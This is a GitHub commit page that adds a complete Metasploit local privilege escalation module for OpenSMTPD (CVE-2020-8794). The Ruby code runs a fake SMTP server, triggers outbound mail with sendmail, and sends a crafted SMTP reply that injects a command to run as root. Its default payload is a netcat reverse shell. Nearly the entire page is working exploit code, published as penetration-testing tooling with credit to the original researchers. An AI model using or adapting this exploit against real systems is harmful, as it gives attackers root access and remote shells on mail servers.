Skip to content

Commit

Permalink
Add OpenSMTPD CVE-2020-8794 LPE exploit
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Feb 27, 2020
1 parent 0693f17 commit 89e5c4c
Showing 1 changed file with 109 additions and 0 deletions.
109 changes: 109 additions & 0 deletions modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb
@@ -0,0 +1,109 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

# smtpd(8) may crash on a malformed message
Rank = AverageRanking

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Expect

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
'Description' => %q{
This module exploits an out-of-bounds read of an attacker-controlled
string in OpenSMTPD's MTA implementation to execute a command as the
root user.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-8794'],
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
],
'DisclosureDate' => '2020-02-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [['OpenSMTPD >= commit a8e222352f', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SRVPORT' => 25,
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 60 # May take a little while for mail to process
}
))

register_advanced_options([
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])
end

def srvhost_addr
Rex::Socket.source_address(session.session_host)
end

def rcpt_to
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
end

def exploit
start_service

sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"

print_status("Executing local sendmail(8) command: #{sendmail}")
if cmd_exec(sendmail) != 'true'
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
end
end

def on_client_connect(client)
print_status("Client #{client.peerhost}:#{client.peerport} connected")

# Brilliant work, Qualys!
yeet = <<~EOF
553-
553
dispatcher: local_mail
type: mda
mda-user: root
mda-exec: #{payload.encoded}; exit 0\x00
EOF

sploit = {
'220' => /EHLO /,
'250' => /MAIL FROM:<[^>]/,
yeet => nil
}

print_status('Faking SMTP server and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: client,
newline: "\r\n",
timeout: datastore['ExpectTimeout']
)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
client.close
end

def on_client_close(client)
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
end

end

0 comments on commit 89e5c4c

Please sign in to comment.